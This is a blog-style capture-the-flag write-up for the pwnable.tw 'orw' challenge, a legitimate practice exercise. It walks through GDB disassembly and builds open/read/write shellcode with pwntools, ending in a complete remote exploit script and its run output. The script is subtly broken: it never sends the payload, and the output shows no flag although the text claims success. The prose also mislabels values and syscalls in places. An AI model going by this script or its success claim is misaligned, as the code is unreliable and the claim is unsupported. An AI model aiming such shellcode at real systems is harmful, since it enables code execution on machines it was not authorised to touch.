[pwnable.tw] orw

As I try and get my RE skills back up after some months off, my friend told me about http://pwnable.tw: a site that host a number of Linux binary challenges.  I decided to do a write-up on ORW, and I may do a few private ones on some of the harder ones (if I get them!)

The binary can be downloaded from the pwnable.tw website.  The instructions seem simple enough: read a flag but you can only use the open, read, and write syscalls.

I used this tutorial to refresh my memory on which registers should have which info for making those syscalls.

The plan is simple enough: open the file, read the file, write the data to standard out.  Let’s use GDB to see how the binary works.

(gdb) disas main
Dump of assembler code for function main:
 0x08048548 <+0>: lea ecx,[esp+0x4]
 0x0804854c <+4>: and esp,0xfffffff0
 0x0804854f <+7>: push DWORD PTR [ecx-0x4]
 0x08048552 <+10>: push ebp
 0x08048553 <+11>: mov ebp,esp
 0x08048555 <+13>: push ecx
 0x08048556 <+14>: sub esp,0x4
 0x08048559 <+17>: call 0x80484cb <orw_seccomp>
 0x0804855e <+22>: sub esp,0xc
 0x08048561 <+25>: push 0x80486a0
 0x08048566 <+30>: call 0x8048380 <printf@plt>
 0x0804856b <+35>: add esp,0x10
 0x0804856e <+38>: sub esp,0x4
 0x08048571 <+41>: push 0xc8
 0x08048576 <+46>: push 0x804a060
 0x0804857b <+51>: push 0x0
 0x0804857d <+53>: call 0x8048370 <read@plt>
 0x08048582 <+58>: add esp,0x10
 0x08048585 <+61>: mov eax,0x804a060
 0x0804858a <+66>: call eax
 0x0804858c <+68>: mov eax,0x0
 0x08048591 <+73>: mov ecx,DWORD PTR [ebp-0x4]
 0x08048594 <+76>: leave 
 0x08048595 <+77>: lea esp,[ecx-0x4]
 0x08048598 <+80>: ret 

The flow is simple enough.  It calls a print of the data at 0x80486a0

(gdb) x/s 0x80486a0
0x80486a0: "Give my your shellcode:"

Then reads in data from the user and stores it in eax.  It then does a call on eax.  So no messing with buffer overflows.  Just write shellcode and it’ll execute it.

Unfortunately, it’s not as simple as writing the program in C and disassembling it.  The compiler would likely take advantage of data sections for variable storage.  Luckily, the variable is stored at static location in reference to the instruction address, so we can just use static offsets for data storage in our program.

So our plan looks like:

  • open the file
  • read the file
  • write to standard out

So how do we open a file?

put 5 in eax
put filename in ebx
put 0 in ecx
call syscall
(file descriptor is now in eax)

Let’s solve the filename location later.  For now, we’ll use the address 0xdeadbeef.  So, using pwntools, our first bit of assembly is:

open_syscall = asm('mov eax, 5; mov ebx, 0xdeadbeef; mov ecx, 0; int 0x80')

Ok good.  Now we have to actually read the file.

move eax (the file descriptor) into ebx
put 3 into eax
find a place to put the data (let’s use 0xbeedbeed)
move that into ecx
put 100 into edx (the max size of the data we’ll read)
call syscall

That gives us:

read_syscall = asm('mov ebx, eax; mov eax, 3; mov ecx, 0xbeedbeed; mov edx, 0x100; int 0x80')

Ok.  Now our data is stored in 0xbeedbeed.  Now we just have to write it to stdout.

move the pointer to the data to ecx.  Luckily, the pointer is already in ecx from our previous instruction.
move 100 into edx (the amount of data to write)
move 1 into ebx (1 for stdout)
move 4 into eax (4 for write)

That gives:

write_syscall = asm('mov edx, 100; mov ebx, 1; mov eax, 4; int 0x80')

There’s still 3 things we need to do:

  1. We need to have the file name somewhere
  2. We need to get the memory address of that file name for the write call
  3. We need to have somewhere to put the file data when we read it

The first is easy enough.  We just take it on after our final int 80.

After some thought and experimentation, the 2nd is easy.  I just write the code and test it out in GDB and check where the data ends up.  I could mathematically calculate it based on the size of my instructions, but in this case experimentation is quicker and easier.

(gdb) x/30w $eax
0x804a060 <shellcode>: 0x000005b8 0xa095bb00 0x00b90804 0xcd000000
0x804a070 <shellcode+16>: 0xb8c38980 0x00000003 0x04a220b9 0x0100ba08
0x804a080 <shellcode+32>: 0x80cd0000 0x000064ba 0x0001bb00 0x04b80000
0x804a090 <shellcode+48>: 0xcd000000 0x6f682f80 0x6f2f656d 0x662f7772
0x804a0a0 <shellcode+64>: 0x0067616c 0x0000000a 0x00000000 0x00000000
0x804a0b0 <shellcode+80>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0c0 <shellcode+96>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0d0 <shellcode+112>: 0x00000000 0x00000000
(gdb) x/s 0x804a095
0x804a095 <shellcode+53>: "/home/orw/flag"

Cool!  One thing to keep in mind when building the string is to null terminate it.  The last thing we need is somewhere to store the data.  I noticed that after the 200 bytes allocated to the “shellcode” variable that there was a ton of null bytes.  I just picked an address in there (0x804a220) and stored the flag in there.

So our final program ends up being:

#!/usr/bin/env python

from pwn import *

#open file
#read file
#write to screen

conn = remote('chall.pwnable.tw',10001)
start = conn.recv(30)
print start
open_syscall = asm('mov eax, 5; mov ebx, 0x804a095; mov ecx, 0; int 0x80')
read_syscall = asm('mov ebx, eax; mov eax, 3; mov ecx, 0x804a220; mov edx, 0x100; int 0x80')
write_syscall = asm('mov edx, 100; mov ebx, 1; mov eax, 4; int 0x80')
file_name = '/home/orw/flag'
terminate = '\x00'

payload = open_syscall+read_syscall+write_syscall+file_name+terminate
print "sending payload"
data = conn.recvline()
print data

And we get the flag!

root@kali:~/pwnable.tw/orw# python exploit.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to chall.pwnable.tw on port 10001: Done
Give my your shellcode:
sending payload

[*] Closed connection to chall.pwnable.tw port 10001

Leave a Reply

Your email address will not be published. Required fields are marked *